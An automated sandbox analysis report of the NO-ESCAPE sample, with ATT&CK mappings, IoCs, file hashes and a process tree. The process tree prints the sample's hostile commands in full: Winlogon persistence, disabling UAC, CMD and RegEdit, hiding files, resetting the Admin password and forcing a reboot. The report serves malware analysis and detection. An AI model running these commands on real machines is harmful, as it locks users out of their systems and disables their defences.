hxxps://github[.]com/LocalAlloc/NO-ESCAPE

Resubmissions

06/03/2024, 20:04

240306-ytn5jshc51 1

06/03/2024, 20:03

240306-ysmv4ahc4w 10

Analysis

max time kernel
64s
max time network
71s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
06/03/2024, 20:03

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

https://github.com/LocalAlloc/NO-ESCAPE

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\launch.exe"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-160263616-143223877-1356318919-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2748	attrib.exe
3028	attrib.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-160263616-143223877-1356318919-1000\Control Panel\Desktop\wallpaper = "C:\\hello.jpg"	reg.exe

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\msg.exe	No Escape.exe
File created	C:\Program Files (x86)\date.txt	No Escape.exe
File created	C:\Program Files (x86)\erode.exe	No Escape.exe
File created	C:\Program Files (x86)\hello.jpg	No Escape.exe
File created	C:\Program Files (x86)\launch.exe	No Escape.exe
File created	C:\Program Files (x86)\mover.exe	No Escape.exe
File created	C:\Program Files (x86)\mypc.exe	No Escape.exe
File created	C:\Program Files (x86)\shaking.exe	No Escape.exe
File created	C:\Program Files (x86)\	No Escape.exe
File opened for modification	C:\Program Files (x86)\	No Escape.exe
File created	C:\Program Files (x86)\hello.bat	No Escape.exe
File created	C:\Program Files (x86)\hello.reg	No Escape.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 17 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133542290082690343"	chrome.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "212"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-160263616-143223877-1356318919-1000_Classes\Local Settings	chrome.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1360	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\NO-ESCAPE-main.zip:Zone.Identifier	chrome.exe

Runs .reg file with regedit 1 IoCs

pid	Process
4620	regedit.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3612	chrome.exe
3612	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
3612	chrome.exe
3612	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe
Token: SeShutdownPrivilege	3612	chrome.exe
Token: SeCreatePagefilePrivilege	3612	chrome.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe
3612	chrome.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2304	No Escape.exe
2572	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3612 wrote to memory of 3964	3612	chrome.exe	80
PID 3612 wrote to memory of 3964	3612	chrome.exe	80
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 3864	3612	chrome.exe	83
PID 3612 wrote to memory of 1708	3612	chrome.exe	84
PID 3612 wrote to memory of 1708	3612	chrome.exe	84
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85
PID 3612 wrote to memory of 5000	3612	chrome.exe	85

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2748	attrib.exe
3028	attrib.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/LocalAlloc/NO-ESCAPE
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3612
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff4eb99758,0x7fff4eb99768,0x7fff4eb99778
  2⤵
  PID:3964
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1592 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:2
  2⤵
  PID:3864
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1976 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:8
  2⤵
  PID:1708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2180 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:8
  2⤵
  PID:5000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2980 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:1
  2⤵
  PID:4708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3000 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:1
  2⤵
  PID:4928
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4436 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:8
  2⤵
  PID:4036
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4792 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:8
  2⤵
  PID:4576
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4776 --field-trial-handle=2028,i,1947498032305258214,18015629466081905149,131072 /prefetch:8
  2⤵
  - NTFS ADS
  PID:3712

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:1048

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3132

C:\Users\Admin\Downloads\NO-ESCAPE-main\NO-ESCAPE-main\No Escape.exe
"C:\Users\Admin\Downloads\NO-ESCAPE-main\NO-ESCAPE-main\No Escape.exe"
1⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:2304
- C:\Windows\system32\wscript.exe
  "C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\4929.tmp\493A.tmp\493B.vbs //Nologo
  2⤵
  PID:540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\hello.bat" "
    3⤵
    PID:1404
  - - C:\Windows\system32\attrib.exe
      attrib +s +h C:\msg.exe
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:3028
  - - C:\Windows\system32\attrib.exe
      attrib +s +h C:\launch.exe
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2748
  - - C:\Windows\regedit.exe
      regedit /s hello.reg
      4⤵
      Runs .reg file with regedit
      PID:4620
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 1
      4⤵
      PID:4588
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,C:\launch.exe /f
      4⤵
      Modifies WinLogon for persistence
      PID:4764
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\control panel\desktop" /v wallpaper /t REG_SZ /d C:\hello.jpg /f
      4⤵
      Sets desktop wallpaper using registry
      PID:4572
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1
      4⤵
      PID:1048
  - - C:\Windows\system32\reg.exe
      reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:472
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2
      4⤵
      PID:4012
  - - C:\Windows\system32\reg.exe
      REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Disables RegEdit via registry modification
      Modifies registry key
      PID:1360
  - - C:\Windows\system32\net.exe
      net user Admin death
      4⤵
      PID:72
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Admin death
        5⤵
        
        PID:2056
  - - C:\Windows\system32\shutdown.exe
      shutdown /t 0 /r
      4⤵
      PID:4836

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a27055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\date.txt

Filesize
120B

MD5
255a8e245b6ad378558b90cbe3dbc3d0

SHA1
6eb73f9f2034c113a2a6b1aab9a440a21928cfc2

SHA256
d3195bde888f9b8a71f2eb840222f1586b652d0ede9f39841a180ead03633ca9

SHA512
67e03d7bffa0dec32535b6da46d5b7f38d94a7c9a231aa2fa625b81485d41c1ecac95b08fe5b7a605fcfe1c7e37c55ee716c9045df90ea6e030b86e52ec09edf

Download Submit
C:\Program Files (x86)\hello.bat

Filesize
1KB

MD5
b86fddd2b764f079615be5d4dc3e158d

SHA1
2510479054db1fe52cc2dcd3c7033d91204cb367

SHA256
2b2114784d15b0b0d5475256851b4d0d4da7181198c2a93a304ecedb98eaf091

SHA512
915363bc9f6e665358c8d25f5f5f51d64c53cb755be999013217162b126705ce641ea809047bc84511db7e3e383b848ec3932924baa8926d51a51d0037a5ca63

Download Submit
C:\Program Files (x86)\hello.jpg

Filesize
110KB

MD5
057ea45c364eb2994808a47b118556a2

SHA1
1d48c9c15ea5548af1475b5a369a4f7b8db42858

SHA256
6e1115188aa00fb5ff031899100bacb0d34819707e069bca3eb53935ebb39836

SHA512
582c7ecf2d0c33c8706ff3f39aa926780aa8f0dc0ff5d563905a5100254b81b89def22206abee0871ab339a3d463de9e6ec1782d92198e8f386f173654b6e760

Download Submit
C:\Program Files (x86)\hello.reg

Filesize
3KB

MD5
81427e9d5d10657b9edffd22e7b405bb

SHA1
f27ab62f77f827dbb32c66a35ac48006c47f4374

SHA256
bb21001c1c468e6e372d836952c3efb7fbdc98e9a20a1bfdcc4beb1b7a1e7f83

SHA512
b0ee65bcef13be7c17db6e06b96cd44774fcebe6f4a411b0073493ff53f795e3b7c49e921c3bd2e41256638bc161f5218d1c51b589c3e10164f8f2c0d1db1592

Download Submit
C:\Program Files (x86)\launch.exe

Filesize
92KB

MD5
b4acc41d0e55b299ffeec11a8a20cf08

SHA1
bbee20882bdd9dcd24b54b6af6c48cf5efc8c6fa

SHA256
34bc0d5b6029a74b9cda56b72434ec1b55b6742ff5ef832d36027a987a63cd42

SHA512
d4fa9900d703ea12d508929718433f97581a23b63458e5070ff7749871a7f60889db45098ec2972687b864ba97ab4fc307e8c80c4450dee79c0a5738818d2794

Download Submit
C:\Program Files (x86)\msg.exe

Filesize
9KB

MD5
331a0667b11e02330357565427dc1175

SHA1
d84c1ae0bf2c8ca1f433f0086ca86e07f61204c2

SHA256
fc7174e44a1d34040c3bc05ce24e648742a38a3accce22e8300d7059e4d12431

SHA512
1c47f0438dce58d473d93c10f233650df3e86d7e762a08b3a933da37683e76a079d275db4a1b4028d903f7e43f487173ba8bb25c4cff6f3e1161d0a5b2b18cec

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
1ecadc2c77264e7f691627524a4dde75

SHA1
2be8931696cc70aebb5e057cb5e703e633d06f24

SHA256
ac8646c5921cc72784f142d30e5bc92cfde31ed965afa5cb919e642949099f38

SHA512
ec86d3bee9de8e4e8c1a245ac70ea5e491d22c4f51ddd7b913fd0a678db65d111f18f276ba10d3f98e5d4b34450b2ba9d0745d61e8e8590a8f23710b2241a9d4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
fb0bdabe2ee49475cfad62fdaf71c005

SHA1
f000443d755676b6794f77830dc05d7aff5540f8

SHA256
e3758f8c050d679267e081e33c7f1c953f9942b7dd155aaf817ea7653cd826d9

SHA512
b503320921ff52d826fe62ef3116a4fea831e85690df694fd493c4c3684a7651f1c95e8bedbcb83faa84fe1e9c12434d12f794f51e99d64de563cfe0626a703d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
4ae30d6d53c2724d244e218d00d799a5

SHA1
a1fbdf96cb7e9d50be5af59124c2c388672ba2c9

SHA256
4874c52367e634b1642f42a93434ce074b0010d74795a3bbef99d5742bb9e0b9

SHA512
1386199eaf9929744c375efae9a6a2d6bc1ae3ec2d1d0c0e1a450a14f945ae9b9e5805c8279cb76c835991862d6340dc3038bbde46b09cdc516683d2ca687aaa

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
5KB

MD5
4016f580db0958d4fe96545f2a3decf8

SHA1
5daa7ee7221a1c9dcbc83a2ee78656375df8c018

SHA256
cececcf208beb5e6ec6a8dd47f5eb39448af08b0861005d81a298a04a31fce0c

SHA512
42820fec2c645c894534aff77a920ed4079013ded9d44cb292151d740883e314509bc5ed1c993f9f01f5d504717855ee42fd614803237c9aac4a56b74556fd75

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
5KB

MD5
7399c7f69161ce7e9fa1ff8be6e9ee60

SHA1
c5591e655ea7cdbfc5599d3695a2313fd457cfd6

SHA256
0ee2250a5ff3190cddbc4144d918cc3ef13a2eb1ecc368891824a54ff1d54401

SHA512
c9716da9fa38f6e60beb72b8c90fd7b49d342a018ca9c1baa72e39a74707271f7185b929359014151cbda655efb666a0b8ddc1ac7fefd925807870923b1f25ec

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
a2d1266b4627653094982a62c2f8bd85

SHA1
f6b45af88702708c911d2063732d895da43ab2c1

SHA256
2d257cf6e9b06e55ba38b40426019b1435c7b6155ec13e91c69fff62ea3cbfbe

SHA512
4eb75a71b20dab1cd89bc7d0d5130f7d1ea7f9dd396969bfc7d2a5fa1372433e7f3548064931a2e1e8647ab6d8481293507be95de8caf79bb4072ce5d98b2ff2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
129KB

MD5
ad4780266c63f70303be3d327a3af821

SHA1
8b25cd4efa2f00336340485e9d7afbbe5b066ddd

SHA256
fb2f2303dcbd62b09cb543e30a9a4b86ad6089e3a65f0512264ee823c7143735

SHA512
